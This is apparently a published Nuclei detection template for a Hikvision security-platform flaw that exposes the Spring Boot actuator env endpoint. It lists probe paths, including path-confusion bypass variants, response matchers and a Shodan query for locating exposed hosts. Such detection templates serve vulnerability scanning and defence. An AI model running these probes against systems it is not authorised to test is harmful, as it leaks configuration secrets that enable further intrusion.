hikvision-env: Hikvision Springboot Env Actuator - Detect

2025-08-01 Hikvision Springboot Env Actuator PoC Public

Description

The HIKVISION comprehensive security management platform has information leakage vulnerabilities, through which attackers can obtain sensitive information such as environment env for further attacks

PoC

id: hikvision-env

info:
  name: Hikvision Springboot Env Actuator - Detect
  author: SleepingBag945
  severity: high
  description: |
    The HIKVISION comprehensive security management platform has information leakage vulnerabilities, through which attackers can obtain sensitive information such as environment env for further attacks
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/HIKVISION/HiKVISION%20%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20env%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
    - https://peiqi.wgpsec.org/wiki/iot/HIKVISION/HiKVISION%20综合安防管理平台%20env%20信息泄漏漏洞.html
  metadata:
    verified: true
    max-request: 5
    shodan-query: app="HIKVISION-综合安防管理平台"
  tags: misconfig,hikvision,springboot,env,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/artemis/env"
      - "{{BaseURL}}/artemis-portal/artemis/env"
      - "{{BaseURL}}/artemis/actuator/env"
      - "{{BaseURL}}/artemis;/env;"
      - "{{BaseURL}}/artemis/1/..;/env"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "applicationConfig"
          - "activeProfiles"
        condition: or

      - type: word
        part: body
        words:
          - "server.port"
          - "local.server.port"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"
          - "application/vnd.spring-boot.actuator"
          - "application/vnd.spring-boot.actuator.v1+json"
          - "application/vnd.spring-boot.actuator.v2+json"
          - "application/vnd.spring-boot.actuator.v3+json"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fd4a4dabd348b7ab26cf8eda6c163f15d4cf9de8f65e2d7d0b70fba26584513b02207c8d6d47d12ff33c81f6bb57b6cc88cf79b21447045609071df505e1d7b737f7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/hikvision-env.yaml

References

Related Vulnerabilities